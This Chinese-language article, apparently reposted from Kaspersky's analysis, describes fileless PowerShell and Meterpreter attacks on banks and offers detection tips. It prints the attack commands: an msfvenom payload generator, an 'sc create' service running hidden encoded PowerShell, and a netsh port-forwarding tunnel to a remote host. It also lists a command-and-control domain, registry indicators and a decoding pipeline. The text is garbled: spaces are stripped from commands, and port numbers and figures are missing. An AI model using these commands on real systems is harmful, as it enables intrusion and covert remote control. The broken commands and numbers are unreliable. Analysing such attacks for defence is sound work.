当前位置: 厄瓜多尔 >> 地形地貌 >> 无需文件恶意代码攻击过程还原与检测
近期,大家都在热议无需文件的Powershell恶意代码。这显示了一种趋势:攻击者正在使用反取证技术(或简单地SDELETE)和基于内存的恶意软件,隐藏他们的活动。
使用这种技术的典型例子是Duqu2。它在开始其恶意的MSI程序包后,从硬盘上删除软件包,将有效载荷加载到内存中。
此类攻击的另一个关键部分是在网络中安装隧道。如Carbanak或GCMAN可能会为此使用PLINK。Duqu2特殊的驱动程序。而下面的事件中,内存恶意代码编制者使用了Windows标准的实用程序,如"SC"和"NETSH"。
年末,多家位于独联体的银行联系卡巴斯基实验室,声称在他们的服务器内存中发现了一种名为Meterpreter的渗透测试软件。这种软件常被用于恶意目的,并且不应该在这些服务器中出现。
卡巴斯基实验室检测后发现这些Meterpreter软件中的代码包含一些合法PowerShell脚本和其他应用程序。这一攻击整合了恶意代码,能够隐藏在内存中运行,盗窃手机系统管理员密码,让攻击者可以远程控制受攻击系统。
卡巴命名这种威胁为:
MEM:Trojan.Win32.Cometer
MEM:Trojan.Win32.Metasploit
Trojan.Multi.GenAutorunReg.c
HEUR:Trojan.Multi.Powecod
下面结合卡巴的报告,看看攻击者如何实现这类攻击滴。
(1)Metasploit框架生成脚本,例如︰
此脚本使用内存,实现了WinAPIs和下载Meterpreter实用程序直接到RAM。
通过使用MetasploitMsfvenom实用程序与以下的命令行选项,可生成这样的脚本︰
msfvenom-pwindows/meterpreter/bind_hidden_tcpAHOST=10.10.1.11-fpsh-cmd
(2)后成功生成的脚本,攻击者使用SC的实用工具安装恶意的服务(这将执行前面的脚本)。
sc\\target_namecreateATITscUAbinpath=“C:\Windows\system32\cmd.exe/b/cstart/b/minpowershell.exe-nop-whiddeneaQBmACgAWwBJAG4AdABQAHQA…”start=manual
(3)下一步,将设置隧道从远程主机访问受感染的机器,例如,使用以下命令︰
netshinterfaceportproxyaddv4tov4listenport=connectaddress=10.10.1.12connectport=listenaddress=0.0.0.0
这会导致所有网络流量从10.10.1.11:被转发到10.10.1.12:。
设置的代理隧道将为攻击者提供从互联网的远程主机的控制感染PowerShell病毒的主机能力。
当然,使用"SC"和"NETSH"实用程序需要本地管理员权限。这就需要动用别的手段了,这里不再叙述。
如何分析这些Powershell的内存恶意代码呢?
可以使用类似下面的bash命令,将其Powershell从内存中dump出来:
catmal_powershell.ps1_4
cut-f12-d””
base64-di
cut-f8-d\’
base64-di
zcat–
cut-f2-d\(
cut-f2-d\”
less
grep\/
base64-di
hd
Meterpreter“adobeupdates.sytes[.]net的部分code
卡巴斯基实验室发现攻击,波及全球40个国家超过家包括银行、电信和政府机构等组织,大多数受害者位于美国、法国、厄瓜多尔、肯尼亚、英国和俄罗斯等西方国家,中国也位列其中。
卡巴也给出了检测是否感染此类病毒的简单方法。
(1)请检测如下注册表项:
HKLM\SYSTEM\ControlSet\services\–使用SC后将修改路径
HKLM\SYSTEM\ControlSet\services\PortProxy\v4tov4\tcp–使用NETSH后将修改路径
(2)同时在windows注册表未分配空间中可能发现:
powershell.exe-nop-whidden-e
10.10.1.12/
10.10.1.11/
当然,上述参数都是基于卡巴的样本的,如果攻击者做了参数改动,可能会发生变化,请灵活运用。
Pr0.s